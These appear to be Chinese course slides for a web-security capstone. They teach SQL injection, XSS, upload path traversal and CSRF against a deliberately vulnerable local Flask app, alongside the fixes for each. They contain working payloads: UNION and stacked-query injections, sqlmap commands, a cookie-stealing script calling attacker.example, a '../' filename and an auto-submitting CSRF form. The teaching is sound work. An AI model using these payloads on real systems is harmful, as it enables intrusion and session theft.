【道】【术】【器】【造器】—— SQLi · XSS · 上传 · CSRF
黄玮
2026-秋
「如何攻破一个 Web 应用?」——不是一道选择题,是综合实践项目(capstone)M3 的全部。
杀伤链的每一步都对应一个「为什么」。本课件只补「做 M3 所需」最小集,深度理论见
https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x06.md。
一句话:当「数据」被解释器当成「代码」执行,注入就发生了。
'
; < & 等)修任何一个注入类漏洞,都是把「数据」和「代码」重新隔开——具体手法各异(参数化、编码、白名单),但隔离这个元范式不变。
/orders?user= 的拼接# capstone/seed/app.py:72 —— 故意预留的注入点
user = request.args.get("user", session["user"])
q = f"SELECT id, item FROM orders WHERE user = '{user}'" # ⚠️ f-string 拼接
rows = db().execute(q).fetchall()
user 来自 URL
参数,未做任何隔离就被插进 SQL 字符串/orders?user=alice →
... WHERE user = 'alice'/orders?user=' OR '1'='1 →
... WHERE user = '' OR '1'='1' →
返回全表端点还回显了查询语句本身(
"q": q)——这让你能直观看到攻击载荷如何改变 SQL 语义。
# ⚠️ 仅对自己 fork 的应用 / 127.0.0.1 使用
# 用 UNION 把 sqlite_master(表结构)也带出来
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=' UNION SELECT sql,name FROM sqlite_master --"
' 闭合原字符串;-- 注释掉后续的
'UNION SELECT
把任意表拼进结果集——SQLite 的
sqlite_master
直接吐出建表语句与所有表名# 用 ; 追加一条 UPDATE,把 alice 的订单改掉
curl -b cookie.txt "http://127.0.0.1:5000/orders?user='; UPDATE orders SET item='pwned' WHERE user='alice' --"
;
分隔),第二条执行任意写操作注意:能否堆叠多语句(
stacked queries)取决于驱动;SQLiteexecute默认不允许多语句,但很多生产数据库驱动允许——这是为什么 SQLi 危害如此之大。
# bob 越权读 alice 的订单(绕过 WHERE 限定)
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=alice' --"
user 参数可控 → 改成任意用户名# ⚠️ 仅对 127.0.0.1 / 自己 fork 的应用
# 自动探测注入点、dump、甚至 os-shell
sqlmap -u "http://127.0.0.1:5000/orders?user=alice" \
--cookie="session=..." \
--batch --dbs # 列所有数据库
sqlmap -u "http://127.0.0.1:5000/orders?user=alice" --dump --tables
# capstone/seed/app.py:93 —— M6 端点里的正确写法(M3 要你照搬到 /orders)
db().execute("SELECT id, item FROM orders WHERE user = ?", (user,)).fetchall()
# ^^^^
# ? 是占位符;user 作为【参数】传入,永远不会被当成 SQL 代码
?
占位,数据经驱动单独绑定,解释器不解析其为代码永远不要自己写转义函数——参数化是唯一可靠正解。
XSS = 攻击者的脚本在受害者的浏览器里、以目标站点的身份执行。
document.cookie /
localStorage(窃会话)| 型 | 攻击载荷存在哪 | 触发方式 | 危害 |
|---|---|---|---|
| 反射型 | URL 参数 → 回显到页面 | 诱受害者点链接 | 中(需诱导) |
| 存储型 | 写进数据库(评论/留言) | 任何人访问即触发 | 高(持久) |
| DOM 型 | 不经过服务器,纯前端 JS 拼接 | 前端 innerHTML 取 URL |
中(绕过 WAF) |
反射型 = 「点链接才中招」;存储型 = 「最危险,一个攻击载荷命中所有访问者」;DOM 型 = 服务器看不出问题,纯前端缺陷。
# ⚠️ 仅对自己 fork 的应用
# 假设 /search?q= 直接回显查询词到页面
curl "http://127.0.0.1:5000/search?q=<script>fetch('//attacker.example/?c='+document.cookie)</script>"
<!-- 受害者点的链接(URL 编码后伪装)-->
https://your-app.example/search?q=%3Cscript%3E...%3C%2Fscript%3E
<
> " ' &
转义成 HTML 实体(< …)→
浏览器只当文字,不当脚本
{{ x }}
自动转义);别用 |safe
除非确信输入可信Content-Security-Policy
限制脚本来源,即使 XSS 成功也加载不出外部 JS同 SQLi:本质都是「别把数据当代码」。编码 = HTML 层的「参数化」。
上传头像/附件是正常业务功能;漏洞 = 文件落地后被解释器再处理一次。
.php/图片马落盘 = 惰性数据os.path.join 吃
..)→ 任意文件写# 教学锚点:文件名未校验(lab03 任务 C 标准件)
dest = os.path.join("uploads", f.filename) # "../app.db" 穿出 uploads/
f.save(dest)
# ⚠️ 仅对自己 fork 的应用:multipart 的 filename 完全由客户端控制
curl -b cookie.txt -F "file=@x.txt;filename=../pwn.txt" \
http://127.0.0.1:5000/profile/upload
uploads/
之外(../pwn.txt
出现、../app.db 被改写)= 可利用性成立secure_filename()(werkzeug
自带)剥掉路径分量,只留安全文件名send_from_directory() 按扩展名猜 MIME:上传
xss.html → text/html 同源返回 = 存储型
XSSfetch('/orders?user=...')
外带数据——cookie 自动携带,不用读HttpOnly 挡「读
cookie」,挡不住「冒充你发请求」判据:攻击载荷的执行证据(无头浏览器 + 监听端收到外带数据),不是「上传成功」。
secure_filename + 扩展名白名单 +
随机文件名(文件名是数据,不是路径);回源强制
attachment +
nosniff;上传目录移出 Web
可达路径;大小限制chap0x07M4 预演:这两条链就是 WAF/IDS 规则要拦的「弹药」。
CSRF = 攻击者诱导已登录受害者,让其浏览器带着 cookie发出非本意的请求。
evil.com 放一个表单/图片,action 指向
your-app.com/change_password<!-- evil.com 上的陷阱页:受害者一打开就自动 POST 改密 -->
<form action="http://your-app.example/change_password" method="POST" id="f">
<input name="new_password" value="hacked">
</form>
<script>document.getElementById('f').submit()</script>
Set-Cookie: session=...; SameSite=Lax
→ 跨站请求不带 cookieCSRF 的元范式不是「隔离代码与数据」,而是「隔离请求来源」——验证「这请求真的是你主动发的吗」。
| 工具 | 擅长 | 用器层级 |
|---|---|---|
| curl | 手工构造任意请求(最快验证攻击载荷) | L1/L2(基本功) |
| sqlmap | SQLi 自动化(探测/dump/os-shell) | L2(用器) |
| Burp Suite / Yakit | 全站抓包、改包、重放、扫描 | L2(用器) |
| 浏览器 DevTools | XSS/CSRF 调试、看 cookie/CSP | L2(用器) |
Yakit 是国产安全测试平台(yaklang.io),功能对标 Burp,课程国产优先推荐。
-oX 产物
+ 自定义攻击载荷字典)M3 只要求到「用器」。但请你带着「造器」的意识去用:每个攻击载荷都问一句「这能脚本化吗、能串起来吗」。
docs/m3/
├── sqli-poc.* # 任务 A:/orders?user= 注入,dump/篡改/越权
├── xss-poc.* # 任务 B:反射/存储,窃 cookie
├── upload-poc.* # 任务 C:路径穿越 / 同源存储 XSS(至少一链)
├── csrf-poc.* # 任务 D:跨站改密/下单
└── report.md # 每类:原理 + 触发条件 + 影响 + 复现 + 自评
milestone/m2 切 milestone/m3,MR 目标 =
milestone/m2(Git 指南){{7*7}}→{{config}}),深度档加分项# 1) 起 M3 末的靶场(127.0.0.1:5000)
flask --app app run --port 5000
# 2) 登录拿 cookie(你的应用,你的账号)
curl -c cookie.txt -d "user=alice&pass=..." http://127.0.0.1:5000/login
# 3) 打 SQLi(仅 127.0.0.1)
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=' UNION SELECT sql,name FROM sqlite_master --"
# 4) 预期:回显里能看到 orders 表结构 + 其他表名
127.0.0.1——这是 AI 助教的硬核验项git grep -hoiE 'sql[iI]?|XSS|文件?上传|upload|CSRF' milestone/m3 -- '*.md' | sort -u | wc -l
≥ 4| 级 | 能力描述 | 自评勾选 |
|---|---|---|
| L1 | 复述 SQLi/XSS/上传/CSRF 原理与危害 | ☐ 题库达标 |
| L2 | 发现并利用 ≥4 类 Web 漏洞,每类写概念验证 + 复现 | ☐ M3 交付 |
| L3 | 编排多阶段攻击链 + 自动化利用框架 | ☐ U4/M7 延伸 |
127.0.0.1
或你自己派生的靶场深度理论:
https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x06.md(方法论/杀伤链)、https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x07.md(Web 漏洞全谱,按需自学)。